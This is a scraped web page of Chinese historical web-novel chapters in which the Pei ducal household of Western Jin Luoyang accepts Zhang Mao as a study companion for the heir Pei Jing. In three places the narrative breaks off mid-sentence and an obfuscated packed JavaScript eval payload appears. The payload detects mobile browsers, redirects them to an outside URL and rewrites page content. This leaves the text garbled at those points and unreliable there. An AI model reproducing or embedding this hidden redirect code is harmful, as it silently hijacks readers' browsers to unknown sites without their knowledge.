一时之间,诸人屏气凝神,内室落针可闻。 接受一个家族的攀附,是大事。饶是皇甫神医,也拿不准小郭氏的意思。 可裴憬和裴妍不懂啊,他们听张茂与阿母还有皇甫神医聊天,懂了个大概,家里是要招张茂进府跟裴憬一起读书呢! 要说最开心的自然是裴憬了。他看着身边这个坐姿笔挺、同自己差不多大的男孩,心知未来他很可能是自己的伴当,以后要在一处读书游戏的。 他内心特别欢喜,傻子都喜欢盯着感兴趣的人猛看,裴憬也不例外,他贪婪地瞅着张茂的脸,愣是把养气到家的张茂盯得面红耳赤,费了好大力气才生生绷住了。 裴妍也很开心,刚才在楼上,虽说与这家伙有些误会,差点被他拔刀相向,可是这也说明他勇武不怕事啊!如果这小子能进府,以后她哥哥不仅能有个伴,还能多个护卫啦! 因此,当小郭氏陷入沉思时,最先忍不住的就是这对兄妹。 裴憬被嫡母管得严,不敢说话,只好拼命朝妹妹使眼色。 裴妍会意,摇着她阿母的手:“阿母,咱们让张二郎进府吧!皇甫神医不是也说他学问好性子也好么,有他在,阿兄定然会好好读书,不敢乱发脾气的!” 小郭氏瞟了女儿一眼,又看看一侧同样充满期待的庶子,心知儿女都很喜欢这个孩子。当然扪心自问她也是很中意张茂的。 只是,兹事体大,她对神医解释道:“不是妾身推诿,实是此事妾身做不得主,须得问过家中郎主与太夫人。” 皇甫严明白,小郭氏这关算是过了,后面能不能成,还得看裴府真正的当家人——现任钜鹿郡公裴頠。 皇甫严携张茂起身,对小郭氏一揖到底,恭谨道:“有劳夫人。” …… 乌金西坠,红霞渐染,热闹的铜驼大街一时人满为患。 今日是旬日,道路两侧到处是下衙的官员,还有国子学、太学里休旬假的儒生。 用“洛阳三俊”之一陆机的诗来形容,真是“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而他与贾后毕竟是表亲,虽政见不同,却远没有到撕破脸的地步,很多事只能婉拒,不能强推。爵位也是如此。 他也想过用别的功劳补偿长房,譬如这次平三杨有功,他本想借此为侄儿裴憬请封。可贾后却只赏了侄子一个高阳亭侯的末等爵位,反而封了自家小儿子裴该做了南昌侯,还让他尚了贾后的长女始平公主。 裴頠头疼地捏捏眉心。如此一来,大嫂怕是更加厌恶他了。没得以为自己损长房以自肥! 还有太子,如今自己与皇后成了儿女亲家,更没有理由站到太子那头去了。 哎!太子还是太稚嫩,放着他们裴家的女儿不要,竟异想天开地求娶贾后的侄女,结果呢?偷鸡不成蚀把米,贾后的侄女没娶成,反倒和贾谧一起娶了琅琊王氏的女儿。 琅琊王氏岂是好相与的?王家明显是两头下注,首鼠两端!这也就意味着,太子成了既没有母家倚靠又没有妻族全力支持的孤家寡人! 他与太子虽有师徒之名,亦同情太子遭遇,却不能把阖家性命依托在这么一个有勇无谋的少年身上! 还是从父(族叔裴楷)告诫得对:“河东裴氏经学起家,赫赫百年,盖因不问党争,不享从龙之功!” 不多时,牛车停在了高大煊赫的钜鹿郡公府门前。只见侧门大敞,可巧,长房的郭夫人也刚从城外回来,正带着儿女在仆妇的簇拥下进门。 见到二叔裴頠,裴妍开心地唤他:“阿叔回来啦!” 裴妍打小没见过自己的父亲,因而,对着温和慈祥的叔父有着孺慕之情。 裴憬却没有裴妍那样的热情,早年因为痴顽,读书上没少受叔父训诫。看到裴頠,他只是中规中矩地行了揖礼,然后讷讷地躲在小郭氏身后。 小郭氏正好有事要与小叔子商量,便特意停在大门里等他。 裴頠先是安抚地摸摸裴妍的发顶,见一向不与自己多言的寡嫂突然在门口等他,心知必是有事交代,便对小郭氏行半礼,征询道:“吾正欲往阿母处问安,大嫂往何处?” 这个嫂子年岁没自己大,算起来,是自家表妹,但如今叔嫂名分已定,长兄早逝,他在行事上分外注意分寸,从不与她私相授受。 小郭氏点头,当然也去太夫人处了。事关散骑常侍张轨,又是给裴憬选伴读,于情于理,都该请示裴頠和太夫人。 4. 张华郭展齐作保,张茂得入郡公府 里屋上首,一个年过半百,身着百草霜色麻衣直身、头戴白玉子午冠的老太太正端坐床上,闭目打坐,对新妇小郭氏的问话不置可否。 小郭氏摸不清婆母的态度,只好转而征询裴頠:“二叔意下如何?” 裴頠手指轻轻点着面前的漆案,暗自思量。 散骑常侍张轨?前天轮值时,还听司空张华盛赞过此人,说他的一众乡党里,惟张轨“文韬武略,世间大才”,又骂安定郡中正当年“不识宝珠,二品之才沦落下潦”。他现在在征西军?听大嫂说,他是经杨珧举荐入京为官的? 裴頠心里有数,必是有张华回护,这次大清洗里才独独漏了他。既然如此,他要投靠自己,莫非也是张华授意? 司空张华是朝中少有的令他裴頠敬佩的人。虽出身寒门,但无论治学还是为官还是做人,都可圈可点。他看重的人,想来不会差。 只是,裴頠蹙眉,张轨所在的征西军如今在赵王名下,他放着顶头上司不攀附,反而来找自己?难道他与赵王有隙? 如今朝局动荡,他固然希望裴家多一个有能耐的附庸,却也要防着惹祸上身。 裴家文官起家,与武将唯一的勾连就是姻亲郭家了。 思忖半晌,裴頠回复道:“大嫂且缓两日,容我明日请大舅公过府一叙。事关阿憬,也当问过他外公。” 这是要请小郭氏的父亲郭展一起来商量了。 小郭氏听说父亲要来,也放下心来。 没想第二日下衙,一起回来的除了郭展,竟还有时任司空的张华。 三人于外院书房一谈就是半日。 小郭氏本是携裴憬、裴妍来拜见父亲的,如今有外男在,她们倒不好过去了。正好二郎裴崇、三郎裴该也奉父命等在外间,小郭氏便把裴憬留给两个侄儿照顾,还派了心腹婢女剑兰在外院等消息,自己携女儿先去了老夫人那里。 正巧二房的女眷也在。还未进门,就听到里面热闹地谈笑声。 裴妍一下子就听出堂妹裴妡的声音,高兴地奔进房里。 与守寡的小郭氏不同,二房的女眷皆梳高髻着亮锦,撩帘入内,只觉一室华光。 尤其裴妡,一身丹碧纱纹双裙,腰间拢了一圈南珠花霄,头梳宽大的双丫鬟,鬟间插着一枚小小的赤金嵌红宝华胜,转身之间流光溢彩。 老夫人刚刚打醮完毕,正一边吃茶一边听裴妡讲河东公主寿宴上的趣事。 裴妡只比裴妍小几个月,虽说她们的母亲感情一般,但整个钜鹿郡公府只有她们两个女郎。因此两个小女郎自幼感情就好,经常吃住在一处。不是你来长房住上俩月,就是我到二房睡上一旬,跟双生子似的。 直至前年裴妡应召入宫,与王衍的三女儿王清风一起,做了河东公主伴读,姊妹俩才依依不舍地分开来。 裴妍拉着裴妡,有些生气地道:“上旬喊你去白马寺赏雪,却不见你出宫,今日倒舍得回了?” 裴妡自从入宫后,行事愈发沉稳起来,比起毛躁的裴妍,反而更像姐姐。 她把裴妍扶到自己的坐床上坐下,又把姐姐的两只手放自己手炉上焐着,笑道:“阿姊糊涂了?前几日河东公主十岁生辰,娘娘特命我与清风表姊留下作陪。” 时人不重视生辰,但遇上整岁,家中亲友还是会聚起来庆贺一番的。 裴妍一拍脑袋,懊恼道:“你不说我都忘了,河东公主与阿兄一样,也是冬月里生的哩。”又问:“可送礼了?” 裴妡笑道:“自然,你的那份我也代为送了,好大一颗南珠!阿姊记得还我!” 裴妍道:“这还用说,今晚去我那里,房里的稀罕物随你拿!” 裴妡征询地望向母亲。 王夫人笑着点头,柔声提醒她:“只是晚上不许缠着你阿姊混闹,明天一早还得进宫呢!” 小郭氏入内,看到王夫人并长媳崔氏正坐在老夫人床边的榻上,与裴妍裴妡两姊妹调笑,她只觉浑身不得劲。 不怪她眼红,实在裴家的好事都让二房占全了! 就拿二房的两个儿子来说,个个聪颖绝伦,年纪轻轻,就才名远播。仕途顺畅自不必说,婚事也好得出奇。二郎裴崇娶了清河崔氏的长房嫡女——名震京洛的大才女崔华堂,三郎裴该尚了今上与贾后的女儿始平公主司马兴华,只是公主开府别居,不住在府里罢了。 她想到裴憬,再次腹诽起这个便宜儿子,白长那么大个头,却是傻子,到现在连个像样的亲事都说不上。 本来长幼有序,裴大郎不娶亲,后面的两个堂弟也该缓着。偏偏世家里都知道他家情况,议婚的时候,媒人们竟直接跳过裴憬,给二郎裴崇说亲。没多久,三郎裴该也被赐婚尚了公主。如今裴家的三个孙子里,就只有大郎裴憬孤身一人,连个妻室也无。 老夫人自从信了五斗米道后,越发不食人间烟火,以前还知道关心裴憬,如今却总说道法自然,竟是连问都不问一句了。 小郭氏原只是郭家庶女,弟妹王夫人却出身琅琊王氏,是司徒王戎的嫡女。小郭氏在出身上就矮人家一头。如今,更是不敢跟二房比肩。 看到王夫人到哪都带着温婉可人的长媳崔氏,有时还带着光华耀眼的始平公主,而她呢?却连个体面的世家儿媳都说不上,如何能叫她不伤心? 可是再恨也没办法,人和人的命是不同的。小郭氏还指着二房的王夫人多多提携自己的女儿裴妍,只得掩下内心伤感,硬是挤出笑脸,不动声色地融了进去…… 外院书房的耳室里,裴憬、裴崇和裴该三兄弟正耐心地坐在床上等消息。 裴憬在两个堂弟面前一向有些自惭形秽。他知道自己愚笨,因此从来不敢以长兄自居。 倒是裴崇和裴该,对这位脑袋不大灵光的堂兄很有几分怜惜。 两兄弟照顾他的情绪,讲了很多同僚间的趣事,引得裴憬两眼圆瞪,时而惊奇,时而感叹,恨不得与他们一起出去见见世面。 没多久,童子来传话,道是大人们让他们进去。 裴憬一下子紧张起来,他知道叔父和阿公在商量他伴读的事情,生怕他们讨论的结果不如意,他好好的一个玩伴就这么没了…… 好在事情出奇地顺利。裴頠把三兄弟叫进书房,让子侄辈拜见张司空。 张司空原就与裴崇、裴该俩兄弟认识,只是和裴憬不熟罢了。他特意与裴憬聊了两句,发现这孩子虽然反应不及两个弟弟,但基本的应答还算得体,没传言的那么不堪,居然满意地点点头。 他此番前来,主要是受老乡兼密友张轨所托,为张家牵线搭桥的。 张华出身寒门,自己虽有心回护张轨一家,却也知自家无根无基,犹如浮萍,如今看似大权在握,实则朝不保夕,唯有河东裴氏这样的百年世家才是张轨真正可以倚靠的势力。 裴頠从郭展处听闻张轨的种种战绩,知他是个难得的儒将,一时也有结交之心,却又担心他与现任镇西大将军赵王有隙。 赵王比贾后还睚眦必报,宁得罪君子,不得罪小人,他不想给自己惹上赵王这么个腌臜货。 好在张华作保:张轨赋闲在家,名义上受杨珧连累,实则受孙秀排挤。孙秀是赵王幕僚,为保住自己宠臣的地位,对前雍凉都督司马骏的旧部一向排斥,征西军司被架空闲置者十有七八,并不独独针对张轨。 郭展也劝裴頠:“如今张常侍犹如涸辙之鲋,所谋不过升斗之水,逸民心胸若海纳百川,何不予之?” 郭展是裴頠的亲舅,连他都这么说。既然张轨与赵王没有牵扯,又有张司空做保,这样的人才,不收白不收!裴頠痛快地答应了。 已过了哺时,几位大人的晚饭也是在裴府用的,裴憬等三个郎君作陪。这也是裴憬第一次以裴府晚辈的身份与外人交际,一顿饭吃得胆战心惊。好在有两个堂弟打掩护,说话行事居然全程没有差错。 如此,张司空更满意了,心道,裴氏不愧是百年世家,真正的父慈子孝兄友弟恭,张轨的二郎运道不错,跟着裴憬就是跟着巨鹿郡公啊! 送走张司空后,郭展并裴頠一齐往郭太夫人处去。 张家郎君要进府,很多事情得布置起来。比如裴憬要搬到外院去,他的学问也得从原先的经义扩展到数算、骑御…… 这些琐事跟裴妍无关。但她从外公处得知张茂即将进府的消息,很替哥哥高兴。 裴妡与她躺在一处,好奇地问她:“那个张二郎是何等人物?值得阿姊这么上心?” 裴妍笑道:“嗯,他长得……可有精神了,和我们见过的郎君都不一样。” 裴妡嗤她:“呵,只听说人的长相有美丑之分,长得有精神?这是什么说法?不一样?是读书厉害啊还是剑舞得好?书读的好能比得上赤龙叔公(王导)?剑能舞得过越石阿舅(刘琨)?” 这……裴妍还真不知道,神医只说张茂书读的好,至于怎么好,阿母没有考较过,她又怎么会知道呢?自己倒是看过他要拔剑的样子,可是还没出鞘呢就被小童给拦下了,谁晓得他的剑术怎样? 裴妡看裴妍答不上来,眯眼坏笑道:“该不会是长得俊吧?可比得上潘家郎君?” 提起潘岳,裴妍可是听说过这人的风流名号,摇头道:“张二郎比那个整日只会涂脂抹粉跟在贾表哥屁股后面的潘岳好看多啦!” “比潘郎还俊啊!”裴妡眼睛瞬间直了,哎呦,我也想看! 翌日,东海王妃裴氏携世子司马毗来钜鹿郡公府做客。 裴妃是钜鹿郡公府的常客了。按亲缘关系算来,她虽是河东裴氏女,然而她出身嫡支,与裴頠这支已过三服,不是很近。 然而裴妃年轻时一次郊游途中路遇悍匪,身边部曲死伤殆尽,就在她以为自己将要被辱时,裴妍的父亲,先巨鹿郡公裴浚恰巧路过。裴浚当即派部曲营救。那群悍匪已然是强弩之末,哪抵得过新入局的援兵,只得四散而逃。她这才免了一场灾祸。因而,裴妃对裴妍母女分外照顾。 裴浚逝后,裴頠奉天家旨意得了兄长裴浚的爵位,裴妃很为长房鸣不平,可皇威面前,她一个小小的宗妇委实帮不上忙,只得在平日里多照拂长房一二。 王夫人知道,裴妃来府里定是找长房小郭氏的。她也识趣,与人打过招呼,略寒暄两句,就寻个借口忙自己的去了,留下小郭氏待客。 小郭氏与裴妃母子早已熟不拘礼。 世子司马毗还是半大小子,也跟着母亲一起来了。 小郭氏笑着打量司马毗,往日司马毗来府里,总做儒生装扮,今日却着一身利落的紫绮锦缘劲装,头梳楚髽发,散于耳后。他本就生得风流俊致,如今做这般武将装扮,又平添了几分英武。 小郭氏道:“几日不见,阿毗似乎又长高了!” 司马毗笑答:“许是近日多陪成都王骑射故。” 小郭氏赞许地点头,成都王乃今上幼弟,文武全才,是宗室年轻人中的翘楚。司马毗能与成都王交好,可见也是有能耐的。 裴妃问起裴憬和裴妍兄妹:“大郎和元娘在读书?” 小郭氏摇头:“近日事忙,葑老给他二人放了几日假。”又对司马毗道:“阿毗可去前院找阿憬,阿妍一会也过去的。” 司马毗得令,从善如流地告退。他宁愿找傻子聊天,也不想在这里听两个女人东家长西家短的八卦。何况,他也有事要问裴妍。 司马毗到裴憬院门口时,正遇上裴妍。 他眼前一亮,一把拽住她的袖口拐到墙角:“阿妍此去可遇上挚神仙?他怎么说?” 裴妍看了看院门,嗤道:“急什么,进去聊呀!” 司马毗摇头,解释道:“阿憬口无遮拦惯了,阿睿托我的事,总不好对外人道。” 裴妍不喜欢他这样说自己的哥哥,狠狠白了他一眼,拉回自己的蝴蝶袖,拿乔道:“你好意思问,挚神仙我倒是遇上了,可人家言,欲想求问他人命数,需得要那人的生辰八字,你可有给过我这个?” “这……”司马毗扶额,他哪里知道算个命还要这些? “故而,神仙没问成?” 见他眉头拧成了八字,裴妍才得意洋洋道:“哄你呢!幸不辱命!挚神仙说……” 裴妍将那日挚虞所讲依样画葫芦地给司马毗描述了一遍。 “江东……”司马毗沉吟,他长裴妍四岁,又多与宗室里的同龄诸侯交游,对朝中形势虽不若长辈明了,到底想得多些,江东虽远,但对于司马睿这个无父无权的琅琊王而言,或真是个好去处。 他按下思量,安抚地拍拍裴妍的小脑袋,赞道:“就知道我家阿妍能成事。” 裴妍最忌讳别人拍她头了。她捂着自己的双丫鬟抗议:“不许拍,乱了头发不说,还长不高呢!” 司马毗笑着摇头。里屋的裴憬听到动静,已然迎了出来。 司马毗是亲戚里少有的不嫌他愚笨,愿意带着他交游的人,因而他对司马毗亦颇为亲近,迫不及待地想与之分享自己招伴当的事。 说者无意听者有心,裴憬在内室绘声绘色地从神医皇甫严处讲起。一个亭侯招伴当原是小得不能再小的一件事,可招的是前征西军司的三品大员张骏之子,倒让司马毗有些诧异。 张骏其人京中听过的人不多,可司马毗算是一个。东海王与先扶风王交情不错,扶风王生前与东海王的信件中,常提到手下的得力干将——张骏。 司马毗作为家中嫡长子,自九岁起便在父亲案头帮忙处理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴妃搁下手中茶盅,只觉鼻端一股梅香若隐若现,将她腹中的浊气荡尽,人也平复下来——嗨,她们东海国离京万里,又不似楚王那般爱搅合是非,皇后再要抓人泄愤,也抓不到她家头上!她过好自家小日子就是,管别人死活呢! …… 给裴憬找伴当的事算是下了定论。 裴憬生怕嫡母后悔,近段时日异常乖顺,据院子里的婢女小厮回报,他不仅不再乱发脾气,还自觉地捧起家塾先生裴葑布置的经义来,虽说没甚进益,但到底样子摆了出来。 小郭氏暗暗舒口气,这小祖宗肯听话,不胡闹就好,至于读书,小郭氏摇头,不做个睁眼瞎就行,谁指望一个痴子能做大儒! 为安抚长房,裴頠对侄儿找伴当的事不可谓不重视。 准备了一旬后,裴頠特意在下一个旬休前呈上拜帖,亲自携裴憬及裴崇、裴该登门造访散骑常侍张轨,给足了这位三品武官的面子。 张家祖产多在凉州,在寸土寸金的洛阳只有一处不大的宅院。 这日,得了信的张轨早早领了长子张寔、二子张茂在正门处等候。 或许是为了迎合裴頠,张轨今日做儒生打扮,对襟大领,围腰广袖,戴笼冠、踩木屐。不说他的出身,只以为是哪里来的夫子。 论年纪,张轨其实比裴頠大不了几岁,但他赋闲之前,长年在关外吃沙子,风餐露宿的,和养尊处优的裴頠相比,竟跟老了一辈似的。 裴頠初见张轨一家,只见一个高大的儒生携两个清隽的郎君向自己迎来,不知是晨光所致还是怎的,他突然眼前一花,只觉父子三人背后金光耀眼,刹那间张府的蓬门前隐有龙气蒸腾。 张轨龙行虎步,几息就到了裴頠跟前。 裴頠赶紧定神,不动声色地重新打量来人,越看越觉心惊——此人虽作儒生装扮,却眉高耳大,龙威燕颔,神清气足,面相极贵,尽有化龙之貌! 世人只道王衍善相面,却不知裴頠亦略通此术。 他心里震惊非常,暗道,区区一个三品赋闲武官,何来的帝王之气? 再看张轨身后的二位郎君,皆隐有卧龙伏虎之态。 裴頠更觉怪耶,何以一家父子三人皆出人君之相? 荒谬! 他只当自己眼花,赶紧按下不表,神色如常地与来人拱手作揖。 入张府后,子侄辈由张家大郎君张寔做主,请入花厅饮茶。裴頠则被张轨请入书房密谈。 裴頠是出了名的有雅量,家学渊源深厚,见识高远,博古通今。 张轨虽早年投笔从戎,却也是儒生出身,文雅端庄,深通孔孟。二人又都是崇尚办实事的人,相谈半日,竟有相见恨晚之感。之前张华对张轨盛赞有加,裴頠还有所怀疑,如今,竟是觉得张华的评价太保守了些,张轨真是文可安邦武可定国的大才! 二人促膝密谈大半日,不知不觉日头已经偏西,竟是到了下半晌。晚饭自然也是在张府用的。 张轨的父母妻室都在凉州,长女已经出嫁,长子张寔还没有成亲,是以偌大的张府并没有正头女眷需要回避。于是张轨直接命人在内室摆了宴。 席上,裴张两家,无论长辈还是小辈,一方诚意结交,一方有意攀附,相谈甚欢。 尤其张家二子,很得裴頠赏识。 长子张寔比裴憬略大两岁,弱冠的年纪,言谈举止、人情往来却极有章法。 张茂在一众儿郎里年龄最小,却毫不怯场,面对裴頠的考察,议论谈吐言必有物,待人接物不卑不亢。 裴頠对张轨的两个儿子都很满意。他对张茂做裴憬的伴读其实是有几分惋惜的,毕竟这样的佳儿,做太子伴读也使得。自家侄子什么水准,他也深知。可是,人心总是偏的,他一面惋惜一面想着,阿憬身边有张茂扶持,说不定真能有所进益呢?天子当初也是什么都不会,可自从张华任司空、陈准任侍中、自己当了国子监祭酒后,天子在他们的辅佐下,也渐渐懂得一些浅显的道理,不是贾后能随意糊弄的了。由此可见,良臣是多么重要。 为了弥补张家,裴頠决定做出些补偿。 酒过三巡,裴頠故意问张轨:“某观大郎君学尚明查,龙章凤姿,不知中正几品?起家何职?” 张轨眯眼抚须,就等你这句话哪…… 三个月后,张家大郎君张寔由安定郡中正以二品系资,举秀才,授中书通事舍人。 这件事迅速在士族中引起轰动。 毕竟,以安定张氏的门第能灼然二品,起家直入中枢,实属罕见。 由此,京洛的世家圈都知道了这位新起之秀——张寔,连带着张寔之父张轨、弟张茂也受到广泛关注。 张轨深知,这既是裴頠的拉拢,也是在向他展示河东裴氏的实力,因此,对于入了裴府的幼子张茂,更加放心了。 当然,这是后话。 如今的张茂,正在裴府外院、裴憬隔壁的小院里,有些无奈地看着婢女里里外外地收拾东西。 5. 第五章 张茂带到裴府的行李不多。 他十岁后,就一直随阿父在征西军里摸爬滚打,习惯了轻车简行。 裴憬不放心,特意带了仆从来帮他。可是看了那简易的一口袋行囊后,愣是傻了眼。 张茂不以为意,道:“有劳亭侯,不过一点杂物,茂自己归置就好。” 裴憬哪里见识过这样清苦的日子,很是怜惜他,安慰道:“叔父早有吩咐,日后你的一应用度皆随我份。”又道:“阿茂不必客气,以后唤我大兄就是。”整日被身边的人叫亭侯,生分不说,他自己也不习惯。 张茂来时,张轨怕他处处拘谨,有失气度,特意叮嘱他:“奉主宜勤,小节勿拘。君子大方,却之不恭。” 张寔也提点他:“予之不取,反受其咎。” 说来都是一个意思,裴府怎么待你,你都大方地受着,好好侍奉人家郎君就行,千万别畏畏缩缩的,显得小家子气。 因此张茂也不跟裴憬客气,大方地唤道:“有劳大兄照拂。” 裴憬是真心疼张茂。他特意在张茂的小院里转了一圈,发现虽说什么都不缺吧,可与自己那里比,空空荡荡的,寒碜得紧。这倒不能怪主事的王夫人,本来客院只要收拾清爽就行,谁家不是自带贴身的用度来的。否则主人的布置不合客人心意怎么办?人家也不好意思拆了主家的东西重新换自己的吧? 裴憬虽是庶子,却是长房的独子,是锦绣堆里长大的郎君,与何不食肉糜的今上有的一拼。他当然不会知道,对于马背上长大、风餐露宿都习以为常的张茂而言,能有一片牢固的瓦顶遮天,就足够了。 裴憬看到张茂住的这样简陋,心里着急。便来找妹妹裴妍,把张茂的家境添油加醋地这么一说,裴妍也跟着难过起来。 她想了想,招手唤来她的贴身婢女风荷,对着她叽叽咕咕耳语了几句…… 张茂的东西本来就少,不过一个时辰,就已经里外都归置好了。 王夫人对他不可谓不用心,给的小院与裴憬的相邻,在外院书房不远处。院子里有一间正屋并两个厢房,两个耳室。 张茂此行只带了一个贴身老仆拾叔,加上王夫人指派给他的一个叫听雨的小厮并两个应门的垂髫童子。主仆不过五人,住着很是宽敞。 张茂抱着院墙四周转了转,发现小院后面是一方临水轩廊,是与裴憬的小院共用的。虽不大,却曲径通幽,秀竹遍栽,移步换景,很是雅致。 水中有一方丈高的太湖石,瘦骨嶙峋有如佝偻老叟,上用篆体刻着“类我”二字,笔力虬劲,却透着自嘲式的童趣,以漫漶的刻痕来看,有不少年头了。 张茂记得阿兄的好友裴遐说过,裴憬的祖父——前尚书令裴秀,于园林一道颇有讲究,整个钜鹿郡公府在他的改造下,既有北方廊宇的扩大,又有江东水乡的秀丽。 张茂对自己的住处可以说相当满意。这小院,比起自己家的来,有过之而无不及。即便是和他们张家在凉州的祖宅比起来,也不遑多让。 他琢磨着,得给自己的院子起个名字才好。裴憬院名据说是裴頠亲笔题的,名“慎言堂”,大概是想让这个不大聪明的侄子时时谨言慎行吧。 张茂想了想,自己既然是来做裴憬伴读的,院名当与之相辅相成才好。遂命小厮搬来鲁公梯,拾叔研笔磨墨,他自己在院门上提气运笔,恭敬地写下“慎独堂”三字来。 写好匾额的张茂,正仰着头,对着自己的大作兀自欣赏。不成想墨迹未干,自后院方向突然杀出来一队提箱挈囊的婢子,为首的是一个梳双环的秀丽丫头,对他躬身一礼,道:“大夫人命奴等给郎君送些日常物事来。” 言罢,未等张茂反应,朝后一招手,径自率人入内,把拾叔刚刚归置好的里屋重又布置了一番。 一时间,内室大放异彩:罗帷珠帘,鲛绡锦垫,长绒蜀褥…… 张茂只觉眼前一花,人也有一丝眩晕——裴家对清客的待遇,未免太过了吧! 阿耶,阿兄,这叫他如何坦然受之啊! …… 张茂第一天来裴家。裴家家主裴頠为表重视,特意在老夫人处办了接风的家宴。 张茂的年龄在裴府的子侄里是最小的,因此女眷中,只裴崇和裴该的媳妇没来,无论长房的小郭氏还是二房的王夫人都没有回避。 裴妡在宫里没回来,裴妍只有九岁,属于可避可不避的年纪。 她吵着要参加,小郭氏也就允她来了。 郭老夫人今天精神特别好。她信五斗米道没错,但不代表就不关心俗事了。 这些年,长房和二房的嫌隙她都看在眼里,嘴上不说,心里却急得很。 祸起萧墙,大族的覆灭往往先从内斗开始。她委实不愿长房与二房结怨。也因此,每当大儿媳自觉受了二房打压,来找自己做主时,她都借口打坐回避,实则人后招来二儿媳,把弥补的机会留给二房来做。 只是二房有二房的难处,尤其裴頠身为家主,很多事情也是身不由己。这就令长房更为不满了。 这次裴頠能为阿憬招来这么好的伴当,她看得出来,大儿媳对二房的态度缓和很多。其实小郭氏其他都好,就是心眼有点小,很多事,只要她能想通,两房的矛盾自然得以化解。 适时,张茂上前祝寿,郭老夫人把他当作自家子侄般招呼疼爱,夸了又夸,还特意送了一对汉代的墨玉貔貅,“给小郎镇纸用”。 小郭氏紧跟其后,送了张茂一方蓝田白玉笔搁。 裴頠送了两根紫毫笔,王夫人则配合着送了一副乌木笔筒。 别小看这些小玩意儿,搁外头个个价值连城,还不一定用钱能买到! 对于裴家的大手笔,张茂白日里已经见识过了,到了晚间收礼时,早已宠辱不惊。 这份不骄不躁的气度,落入裴府几位主事人眼里,霎时又成了少年持重的佐证。 家主裴頠满意地顺着自己的两撇仁丹胡,内心分外舒畅,如此佳儿,入我囊中啊! 席上,对张茂最殷勤的当属裴憬。他与张茂的坐案相邻,时不时命婢女给他添酒布菜,又问他平日里口味如何,可吃得习惯? 河东裴氏作为顶级世家之一,吃食上无论食材还是用料,都十分讲究,是真正的食不厌精脍不厌细。 神医皇甫严说裴憬爱发脾气有吃太多而不克化的缘故,并非信口开河。 张茂家里在安定郡大小也是个地主豪强,平日里也算锦衣玉食,但是入了裴府后,才真正见识了什么是钟鸣鼎食之家。 面对裴憬的殷勤询问,张茂实诚道:“大兄多虑了,裴府食珍馐引玉馔,非弟蓬门小户可及。何来不满之说?” 一旁的裴该小声对张茂道:“这算什么?今天大人们都在,咱们吃得好归好,到底不自在。改天我请茂弟去我公主府。公主府的疱人是宫里赏下的御厨,那菜式,啧啧,保管比家里的好得多!” 早先裴憬被裴该领着,去过两次公主府,每次都吃得脑满肠肥,至今回味无穷,听罢连声附和:“唯唯,公主府的菜更好吃!三弟记得跟公主说声,我也要去!” 他们在这里商量着,对面的裴崇和裴妍只能干瞪眼。 裴崇年长些,还算稳重。 裴妍却急死了,她隐约听到裴该要带裴憬和张茂去公主府玩耍,生怕漏了她,她也想去,什么时候走?听不清啊,急得两眼泛红。 裴崇笑着拍拍堂妹的手,温声道:“别听风就是雨,张小郎初初进府,总要待他熟悉几日才好往外面带。快把眼泪收回去,没得惹大人们生疑。” 裴妍“哼”地一声,恨恨道:“公主阿嫂进门一年多了,也没见三哥带我和阿妡去过几回。张二郎才来一天呢,就眼巴巴的献宝似的要带人家过去。好没良心!” 全然忘了,当初闹着要张茂进裴府的就有她! 裴崇笑着摇头,小孩子脾气。 今天不是旬日,儿郎们第二天都各有差事,晚宴没过多久就散了。 张茂终于可以回到自己的小院里。 因着给裴家长辈祝寿,并裴家几个兄弟交际,他连饮了十几杯水酒。 张家是祖传的酒量好。只是裴家的酒不同于坊间的绿蚁浊酒,系纯度很高的清酒,初饮不觉什么,待三杯两盏下肚,冷风一吹,就有点头昏脑涨晕晕然了。 他摇摇头,扶着拾叔的手一脚深一脚浅地迈进屋里。 屋子在白日里被裴妍的婢女们重新布置过,银瓶玉盏,琉璃风屏,珊瑚步障,处处奢华靡艳,张茂转了一圈,一时有些怔忪。 站在屋子中央定了好一会儿,才反应过来,是了,这就是他未来要住的地方——钜鹿郡公府的慎独堂。 张茂挥退欲服侍他洗漱的拾叔,自己踉踉跄跄地摸到里屋床前反身倒下。 他有些疲惫地捏捏眉心,努力让自己头脑清楚些。 这一日的相处,可以看出裴家人口确实简单,拢共两房,正经主家不过十来人,对他也都礼遇有加。尤其长房的兄妹俩,就差没把他捧到天上去。 想起这一室的锦绣,他微不可查地失笑。他不认为白日里那么莽撞失礼的布置是大夫人的安排,倒像是裴元娘的手笔。 裴家笼络人心确实有一套,宾至如归,莫过于此。 这算好事吧,他想。 张茂只觉这一天的所见所闻,颠覆了他之前十四年的人生阅历。 从小到大,他何曾见过这样鲜花着锦,烈火烹油的场面?他家也算大族,然而和裴家这样正经的高门比起来,差距不是一般的大! 想要么?这泼天的富贵!他问自己。 只要他愿意,他或许也能像当初的韩寿那样,攀龙附凤,成为这些人里的一分子。 世家门阀,出将入相! 河东裴氏在这群豪门里,素来以节俭著称,尚且有此用度,难以想象,那些传闻里斗富斗出花儿来的王家石家,又该是怎样的一番豪奢景象? 他一闭上眼,就能回想起今天宴席上那满桌的珍馐。他之前在军中曾任度支参军。这一桌的薪资,足够他们五千军士一天的粮饷。 他睁开眼,从头上帐顶掠到帐外,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001199|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一室的珍玩,是百户边屯一年的嚼用!这一家一日的繁华,能抵万名同袍卖命的抚恤! 